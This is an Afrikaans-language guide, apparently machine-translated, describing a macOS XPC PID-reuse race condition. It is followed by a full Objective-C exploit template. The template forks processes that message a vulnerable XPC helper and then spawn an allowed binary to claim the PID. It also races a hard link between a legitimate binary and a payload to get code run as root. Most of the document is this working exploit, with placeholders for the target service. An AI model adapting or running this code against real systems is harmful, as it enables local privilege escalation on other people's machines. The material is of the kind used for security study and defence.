Wanneer 'n macOS XPC diens die aangeroep proses nagaan op grond van die PID en nie op die audit token nie, is dit kwesbaar vir 'n PID hergebruik aanval. Hierdie aanval is gebaseer op 'n wedren toestand waar 'n ontploffingboodskappe na die XPC diens misbruik van die funksionaliteit gaan stuur en net na dit, posix_spawn(NULL, target_binary, NULL, &attr, target_argv, environ) met die toegelate binêre uitvoer.
Hierdie funksie sal die toegelate binêre die PID laat besit, maar die kwaadwillige XPC boodskap sou net voorheen gestuur gewees het. So, as die XPC diens die PID gebruik om die sender te verifieer en dit NÁ die uitvoering van posix_spawn nagaan, sal dit dink dit kom van 'n geautoriseerde proses.
Ontploffing voorbeeld
As jy die funksie shouldAcceptNewConnection of 'n funksie wat deur dit aangeroep word processIdentifier en nie auditToken aanroep nie, vind. Dit beteken hoogs waarskynlik dat dit die proses PID nagaan en nie die audit token nie.
Soos byvoorbeeld in hierdie beeld (geneem van die verwysing):
Kyk na hierdie voorbeeld ontploffing (weer, geneem van die verwysing) om die 2 dele van die ontploffing te sien:
Een wat verskeie vurkies genereer
Elke vurk sal die payload na die XPC diens stuur terwyl dit posix_spawn net na die boodskap stuur.
Vir die ontploffing om te werk is dit belangrik om export`` ``OBJC_DISABLE_INITIALIZE_FORK_SAFETY=YES of om binne die ontploffing te plaas:
Hierdie voorbeeld gebruik 'n rou fork om kinders te begin wat die PID wedlooptoestand sal benut en dan nog 'n wedlooptoestand via 'n Hard link:
// export OBJC_DISABLE_INITIALIZE_FORK_SAFETY=YES
// gcc -framework Foundation expl.m -o expl
#include <Foundation/Foundation.h>
#include <spawn.h>
#include <pthread.h>
// TODO: CHANGE PROTOCOL AND FUNCTIONS
@protocol HelperProtocol
- (void)DoSomething:(void (^)(_Bool))arg1;
@end
// Global flag to track exploitation status
bool pwned = false;
/**
* Continuously overwrite the contents of the 'hard_link' file in a race condition to make the
* XPC service verify the legit binary and then execute as root out payload.
*/
void *check_race(void *arg) {
while(!pwned) {
// Overwrite with contents of the legit binary
system("cat ./legit_bin > hard_link");
usleep(50000);
// Overwrite with contents of the payload to execute
// TODO: COMPILE YOUR OWN PAYLOAD BIN
system("cat ./payload > hard_link");
usleep(50000);
}
return NULL;
}
void child_xpc_pid_rc_abuse(){
// TODO: INDICATE A VALID BIN TO BYPASS SIGN VERIFICATION
#define kValid "./Legit Updater.app/Contents/MacOS/Legit"
extern char **environ;
// Connect with XPC service
// TODO: CHANGE THE ID OF THE XPC TO EXPLOIT
NSString* service_name = @"com.example.Helper";
NSXPCConnection* connection = [[NSXPCConnection alloc] initWithMachServiceName:service_name options:0x1000];
// TODO: CNAGE THE PROTOCOL NAME
NSXPCInterface* interface = [NSXPCInterface interfaceWithProtocol:@protocol(HelperProtocol)];
[connection setRemoteObjectInterface:interface];
[connection resume];
id obj = [connection remoteObjectProxyWithErrorHandler:^(NSError* error) {
NSLog(@"[-] Something went wrong");
NSLog(@"[-] Error: %@", error);
}];
NSLog(@"obj: %@", obj);
NSLog(@"conn: %@", connection);
// Call vulenrable XPC function
// TODO: CHANEG NAME OF FUNCTION TO CALL
[obj DoSomething:^(_Bool b){
NSLog(@"Response, %hdd", b);
}];
// Change current process to the legit binary suspended
char target_binary[] = kValid;
char *target_argv[] = {target_binary, NULL};
posix_spawnattr_t attr;
posix_spawnattr_init(&attr);
short flags;
posix_spawnattr_getflags(&attr, &flags);
flags |= (POSIX_SPAWN_SETEXEC | POSIX_SPAWN_START_SUSPENDED);
posix_spawnattr_setflags(&attr, flags);
posix_spawn(NULL, target_binary, NULL, &attr, target_argv, environ);
}
/**
* Function to perform the PID race condition using children calling the XPC exploit.
*/
void xpc_pid_rc_abuse() {
#define RACE_COUNT 1
extern char **environ;
int pids[RACE_COUNT];
// Fork child processes to exploit
for (int i = 0; i < RACE_COUNT; i++) {
int pid = fork();
if (pid == 0) { // If a child process
child_xpc_pid_rc_abuse();
}
printf("forked %d\n", pid);
pids[i] = pid;
}
// Wait for children to finish their tasks
sleep(3);
// Terminate child processes
for (int i = 0; i < RACE_COUNT; i++) {
if (pids[i]) {
kill(pids[i], 9);
}
}
}
int main(int argc, const char * argv[]) {
// Create and set execution rights to 'hard_link' file
system("touch hard_link");
system("chmod +x hard_link");
// Create thread to exploit sign verification RC
pthread_t thread;
pthread_create(&thread, NULL, check_race, NULL);
while(!pwned) {
// Try creating 'download' directory, ignore errors
system("mkdir download 2>/dev/null");
// Create a hardlink
// TODO: CHANGE NAME OF FILE FOR SIGN VERIF RC
system("ln hard_link download/legit_bin");
xpc_pid_rc_abuse();
usleep(10000);
// The payload will generate this file if exploitation is successfull
if (access("/tmp/pwned", F_OK ) == 0) {
pwned = true;
}
}
return 0;
}